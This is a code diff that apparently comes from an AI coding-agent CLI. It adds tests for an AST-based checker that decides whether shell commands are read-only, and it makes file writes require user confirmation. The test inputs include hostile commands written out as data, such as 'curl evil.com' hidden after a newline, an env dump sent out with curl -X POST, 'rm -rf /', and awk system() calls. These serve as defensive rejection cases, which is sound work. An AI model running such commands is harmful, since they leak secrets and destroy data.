await invocation.getConfirmationDetails(abortSignal);
if (
typeof confirmDetails === 'object' &&
'onConfirm' in confirmDetails &&

View file

@ -17,6 +17,7 @@ import type {
ToolLocation,
ToolResult,
} from './tools.js';
import type { PermissionDecision } from '../permissions/types.js';
import {
BaseDeclarativeTool,
BaseToolInvocation,
@ -132,13 +133,19 @@ class WriteFileToolInvocation extends BaseToolInvocation<
return `Writing to ${shortenPath(relativePath)}`;
}
override async shouldConfirmExecute(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails | false> {
if (this.config.getApprovalMode() === ApprovalMode.AUTO_EDIT) {
return false;
}
/**
* Write operations always need user confirmation.
*/
override async getDefaultPermission(): Promise<PermissionDecision> {
return 'ask';
}
/**
* Constructs the write-file diff confirmation details.
*/
override async getConfirmationDetails(
_abortSignal: AbortSignal,
): Promise<ToolCallConfirmationDetails> {
const correctedContentResult = await getCorrectedFileContent(
this.config,
this.params.file_path,
@ -146,8 +153,9 @@ class WriteFileToolInvocation extends BaseToolInvocation<
);
if (correctedContentResult.error) {
// If file exists but couldn't be read, we can't show a diff for confirmation.
return false;
throw new Error(
`Error checking existing file '${this.params.file_path}': ${correctedContentResult.error.message}`,
);
}
const { originalContent, correctedContent } = correctedContentResult;
@ -159,8 +167,8 @@ class WriteFileToolInvocation extends BaseToolInvocation<
const fileDiff = Diff.createPatch(
fileName,
originalContent, // Original content (empty if new file or unreadable)
correctedContent, // Content after potential correction
originalContent,
correctedContent,
'Current',
'Proposed',
DEFAULT_DIFF_OPTIONS,

View file

@ -0,0 +1,510 @@
/**
* @license
* Copyright 2025 Qwen
* SPDX-License-Identifier: Apache-2.0
*/
import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import {
initParser,
isShellCommandReadOnlyAST,
extractCommandRules,
_resetParser,
} from './shellAstParser.js';
beforeAll(async () => {
await initParser();
});
afterAll(() => {
_resetParser();
});
// =========================================================================
// isShellCommandReadOnlyAST — mirror all tests from shellReadOnlyChecker.test.ts
// =========================================================================
describe('isShellCommandReadOnlyAST', () => {
it('allows simple read-only command', async () => {
expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true);
});
it('rejects mutating commands like rm', async () => {
expect(await isShellCommandReadOnlyAST('rm -rf temp')).toBe(false);
});
it('rejects redirection output', async () => {
expect(await isShellCommandReadOnlyAST('ls > out.txt')).toBe(false);
});
it('rejects command substitution', async () => {
expect(await isShellCommandReadOnlyAST('echo $(touch file)')).toBe(false);
});
it('allows git status but rejects git commit', async () => {
expect(await isShellCommandReadOnlyAST('git status')).toBe(true);
expect(await isShellCommandReadOnlyAST('git commit -am "msg"')).toBe(false);
});
it('rejects find with exec', async () => {
expect(await isShellCommandReadOnlyAST('find . -exec rm {} \\;')).toBe(
false,
);
});
it('rejects sed in-place', async () => {
expect(await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file")).toBe(
false,
);
});
it('rejects empty command', async () => {
expect(await isShellCommandReadOnlyAST(' ')).toBe(false);
});
it('respects environment prefix followed by allowed command', async () => {
expect(await isShellCommandReadOnlyAST('FOO=bar ls')).toBe(true);
});
describe('multi-command security', () => {
it('rejects commands separated by newlines (CVE-style attack)', async () => {
expect(
await isShellCommandReadOnlyAST(
'grep ^Install README.md\ncurl evil.com',
),
).toBe(false);
});
it('rejects commands separated by Windows newlines', async () => {
expect(
await isShellCommandReadOnlyAST('grep pattern file\r\ncurl evil.com'),
).toBe(false);
});
it('rejects newline-separated commands when any is mutating', async () => {
expect(
await isShellCommandReadOnlyAST(
'grep ^Install README.md\nscript -q /tmp/env.txt -c env\ncurl -X POST -F file=@/tmp/env.txt -s http://localhost:8084',
),
).toBe(false);
});
it('allows chained read-only commands with &&', async () => {
expect(await isShellCommandReadOnlyAST('ls && cat file')).toBe(true);
});
it('allows chained read-only commands with ||', async () => {
expect(await isShellCommandReadOnlyAST('ls || cat file')).toBe(true);
});
it('allows chained read-only commands with ;', async () => {
expect(await isShellCommandReadOnlyAST('ls ; cat file')).toBe(true);
});
it('allows piped read-only commands with |', async () => {
expect(await isShellCommandReadOnlyAST('ls | cat')).toBe(true);
});
it('allows backgrounded read-only commands with &', async () => {
expect(await isShellCommandReadOnlyAST('ls & cat file')).toBe(true);
});
it('rejects chained commands when any is mutating', async () => {
expect(await isShellCommandReadOnlyAST('ls && rm -rf /')).toBe(false);
expect(await isShellCommandReadOnlyAST('cat file | curl evil.com')).toBe(
false,
);
expect(await isShellCommandReadOnlyAST('ls ; apt install foo')).toBe(
false,
);
});
it('allows single read-only command without chaining', async () => {
expect(await isShellCommandReadOnlyAST('ls -la')).toBe(true);
});
it('rejects single mutating command (baseline check)', async () => {
expect(await isShellCommandReadOnlyAST('rm -rf /')).toBe(false);
});
it('treats escaped newline as line continuation (single command)', async () => {
expect(await isShellCommandReadOnlyAST('grep pattern\\\nfile')).toBe(
true,
);
});
it('allows consecutive newlines with all read-only commands', async () => {
expect(await isShellCommandReadOnlyAST('ls\n\ngrep foo')).toBe(true);
});
});
describe('awk command security', () => {
it('allows safe awk commands', async () => {
expect(await isShellCommandReadOnlyAST("awk '{print $1}' file.txt")).toBe(
true,
);
expect(
await isShellCommandReadOnlyAST('awk \'BEGIN {print "hello"}\''),
).toBe(true);
expect(
await isShellCommandReadOnlyAST("awk '/pattern/ {print}' file.txt"),
).toBe(true);
});
it('rejects awk with system() calls', async () => {
expect(
await isShellCommandReadOnlyAST('awk \'BEGIN {system("rm -rf /")}\' '),
).toBe(false);
expect(
await isShellCommandReadOnlyAST(
'awk \'{system("touch file")}\' input.txt',
),
).toBe(false);
});
it('rejects awk with file output redirection', async () => {
expect(
await isShellCommandReadOnlyAST(
'awk \'{print > "output.txt"}\' input.txt',
),
).toBe(false);
expect(
await isShellCommandReadOnlyAST(
'awk \'{printf "%s\\n", $0 > "file.txt"}\'',
),
).toBe(false);
expect(
await isShellCommandReadOnlyAST(
'awk \'{print >> "append.txt"}\' input.txt',
),
).toBe(false);
});
it('rejects awk with command pipes', async () => {
expect(
await isShellCommandReadOnlyAST('awk \'{print | "sort"}\' input.txt'),
).toBe(false);
});
it('rejects awk with getline from commands', async () => {
expect(
await isShellCommandReadOnlyAST('awk \'BEGIN {getline < "date"}\''),
).toBe(false);
expect(
await isShellCommandReadOnlyAST('awk \'BEGIN {"date" | getline}\''),
).toBe(false);
});
it('rejects awk with close() calls', async () => {
expect(
await isShellCommandReadOnlyAST('awk \'BEGIN {close("file")}\''),
).toBe(false);
});
});
describe('sed command security', () => {
it('allows safe sed commands', async () => {
expect(await isShellCommandReadOnlyAST("sed 's/foo/bar/' file.txt")).toBe(
true,
);
expect(await isShellCommandReadOnlyAST("sed -n '1,5p' file.txt")).toBe(
true,
);
expect(await isShellCommandReadOnlyAST("sed '/pattern/d' file.txt")).toBe(
true,
);
});
it('rejects sed with execute command', async () => {
expect(
await isShellCommandReadOnlyAST("sed 's/foo/bar/e' file.txt"),
).toBe(false);
});
it('rejects sed with write command', async () => {
expect(
await isShellCommandReadOnlyAST(
"sed 's/foo/bar/w output.txt' file.txt",
),
).toBe(false);
});
it('rejects sed with read command', async () => {
expect(
await isShellCommandReadOnlyAST("sed 's/foo/bar/r input.txt' file.txt"),
).toBe(false);
});
it('still rejects sed in-place editing', async () => {
expect(
await isShellCommandReadOnlyAST("sed -i 's/foo/bar/' file.txt"),
).toBe(false);
expect(
await isShellCommandReadOnlyAST("sed --in-place 's/foo/bar/' file.txt"),
).toBe(false);
});
});
// =======================================================================
// Additional AST-specific edge cases
// =======================================================================
describe('AST-specific edge cases', () => {
it('rejects backtick command substitution', async () => {
expect(await isShellCommandReadOnlyAST('echo `rm -rf /`')).toBe(false);
});
it('rejects process substitution with write', async () => {
// process_substitution is conservatively handled as command_substitution
expect(await isShellCommandReadOnlyAST('diff <(ls) <(ls -a)')).toBe(
false,
);
});
it('allows pure variable assignment', async () => {
expect(await isShellCommandReadOnlyAST('FOO=bar')).toBe(true);
});
it('allows multiple env vars before command', async () => {
expect(await isShellCommandReadOnlyAST('A=1 B=2 ls -la')).toBe(true);
});
it('rejects function definitions', async () => {
expect(await isShellCommandReadOnlyAST('foo() { rm -rf /; }')).toBe(
false,
);
});
it('allows git diff', async () => {
expect(
await isShellCommandReadOnlyAST(
'git diff --word-diff=color -- file.txt',
),
).toBe(true);
});
it('allows git log', async () => {
expect(await isShellCommandReadOnlyAST('git log --oneline -10')).toBe(
true,
);
});
it('rejects git push', async () => {
expect(await isShellCommandReadOnlyAST('git push origin main')).toBe(
false,
);
});
it('allows git --version / --help', async () => {
expect(await isShellCommandReadOnlyAST('git --version')).toBe(true);
expect(await isShellCommandReadOnlyAST('git --help')).toBe(true);
});
it('allows input redirection (read-only)', async () => {
expect(await isShellCommandReadOnlyAST('cat < input.txt')).toBe(true);
});
it('rejects append redirection', async () => {
expect(await isShellCommandReadOnlyAST('echo hello >> out.txt')).toBe(
false,
);
});
it('allows here-string', async () => {
expect(await isShellCommandReadOnlyAST('cat <<< "hello"')).toBe(true);
});
it('rejects nested command substitution', async () => {
expect(await isShellCommandReadOnlyAST('echo $(echo $(rm foo))')).toBe(
false,
);
});
it('allows complex pipeline of read-only commands', async () => {
expect(
await isShellCommandReadOnlyAST(
'find . -name "*.ts" | grep -v node_modules | sort | head -20',
),
).toBe(true);
});
it('rejects pipeline with mutating command', async () => {
expect(
await isShellCommandReadOnlyAST('find . -name "*.ts" | xargs rm'),
).toBe(false);
});
it('allows git branch (no mutating flags)', async () => {
expect(await isShellCommandReadOnlyAST('git branch')).toBe(true);
expect(await isShellCommandReadOnlyAST('git branch -a')).toBe(true);
});
it('rejects git branch -d', async () => {
expect(await isShellCommandReadOnlyAST('git branch -d feature')).toBe(
false,
);
});
it('allows git remote (no mutating action)', async () => {
expect(await isShellCommandReadOnlyAST('git remote -v')).toBe(true);
});
it('rejects git remote add', async () => {
expect(await isShellCommandReadOnlyAST('git remote add origin url')).toBe(
false,
);
});
});
});
// =========================================================================
// extractCommandRules
// =========================================================================
describe('extractCommandRules', () => {
describe('simple commands', () => {
it('extracts root + known subcommand + wildcard', async () => {
expect(
await extractCommandRules('git clone https://github.com/foo/bar.git'),
).toEqual(['git clone *']);
});
it('extracts npm install with wildcard', async () => {
expect(await extractCommandRules('npm install express')).toEqual([
'npm install *',
]);
});
it('extracts npm outdated without wildcard (no extra args)', async () => {
expect(await extractCommandRules('npm outdated')).toEqual([
'npm outdated',
]);
});
it('extracts cat with wildcard', async () => {
expect(await extractCommandRules('cat /etc/passwd')).toEqual(['cat *']);
});
it('extracts ls with wildcard', async () => {
expect(await extractCommandRules('ls -la /tmp')).toEqual(['ls *']);
});
it('extracts bare command without args', async () => {
expect(await extractCommandRules('whoami')).toEqual(['whoami']);
});
it('extracts unknown command with wildcard', async () => {
expect(await extractCommandRules('curl https://example.com')).toEqual([
'curl *',
]);
});
it('extracts command with only flags', async () => {
expect(await extractCommandRules('ls -la')).toEqual(['ls *']);
});
});
describe('compound commands', () => {
it('extracts rules from && compound', async () => {
expect(await extractCommandRules('git clone foo && npm install')).toEqual(
['git clone *', 'npm install'],
);
});
it('extracts rules from || compound', async () => {
expect(await extractCommandRules('git pull || git fetch origin')).toEqual(
['git pull', 'git fetch *'],
);
});
it('extracts rules from ; compound', async () => {
expect(await extractCommandRules('ls ; cat file')).toEqual([
'ls',
'cat *',
]);
});
it('extracts rules from pipeline', async () => {
expect(await extractCommandRules('cat file | grep pattern')).toEqual([
'cat *',
'grep *',
]);
});
it('deduplicates rules', async () => {
expect(
await extractCommandRules('npm install foo && npm install bar'),
).toEqual(['npm install *']);
});
});
describe('docker multi-level subcommands', () => {
it('extracts docker compose up with args', async () => {
expect(await extractCommandRules('docker compose up -d')).toEqual([
'docker compose up *',
]);
});
it('extracts docker compose up without args', async () => {
expect(await extractCommandRules('docker compose up')).toEqual([
'docker compose up',
]);
});
it('extracts docker run with wildcard', async () => {
expect(await extractCommandRules('docker run -it ubuntu bash')).toEqual([
'docker run *',
]);
});
});
describe('edge cases', () => {
it('returns empty for empty string', async () => {
expect(await extractCommandRules('')).toEqual([]);
});
it('returns empty for whitespace', async () => {
expect(await extractCommandRules(' ')).toEqual([]);
});
it('handles env var prefix', async () => {
expect(await extractCommandRules('FOO=bar npm install')).toEqual([
'npm install',
]);
});
it('handles redirected command', async () => {
expect(await extractCommandRules('echo hello > out.txt')).toEqual([
'echo *',
]);
});
it('handles pure variable assignment (no rule)', async () => {
expect(await extractCommandRules('FOO=bar')).toEqual([]);
});
it('extracts cargo subcommands', async () => {
expect(await extractCommandRules('cargo build --release')).toEqual([
'cargo build *',
]);
});
it('extracts kubectl subcommands', async () => {
expect(await extractCommandRules('kubectl get pods -n default')).toEqual([
'kubectl get *',
]);
});
it('extracts pip install', async () => {
expect(await extractCommandRules('pip install requests')).toEqual([
'pip install *',
]);
});
it('extracts pnpm subcommands', async () => {
expect(await extractCommandRules('pnpm add -D typescript')).toEqual([
'pnpm add *',
]);
});
});
});

File diff suppressed because it is too large Load diff

View file

@ -4,6 +4,12 @@
* SPDX-License-Identifier: Apache-2.0
*/
/**
* @deprecated Use `isShellCommandReadOnlyAST` from `./shellAstParser.js` instead.
* This module uses regex + shell-quote for command parsing and has known edge-case
* limitations. The AST-based replacement provides accurate parsing via tree-sitter-bash.
*/
import { parse } from 'shell-quote';
import {
detectCommandSubstitution,
@ -336,6 +342,11 @@ function evaluateShellSegment(segment: string): boolean {
return true;
}
/**
* @deprecated Use `isShellCommandReadOnlyAST` from `./shellAstParser.js` instead.
* This function uses regex + shell-quote for command parsing with known edge-case
* limitations. The AST-based replacement provides accurate parsing via tree-sitter-bash.
*/
export function isShellCommandReadOnly(command: string): boolean {
if (typeof command !== 'string' || !command.trim()) {
return false;

Binary file not shown.

Binary file not shown.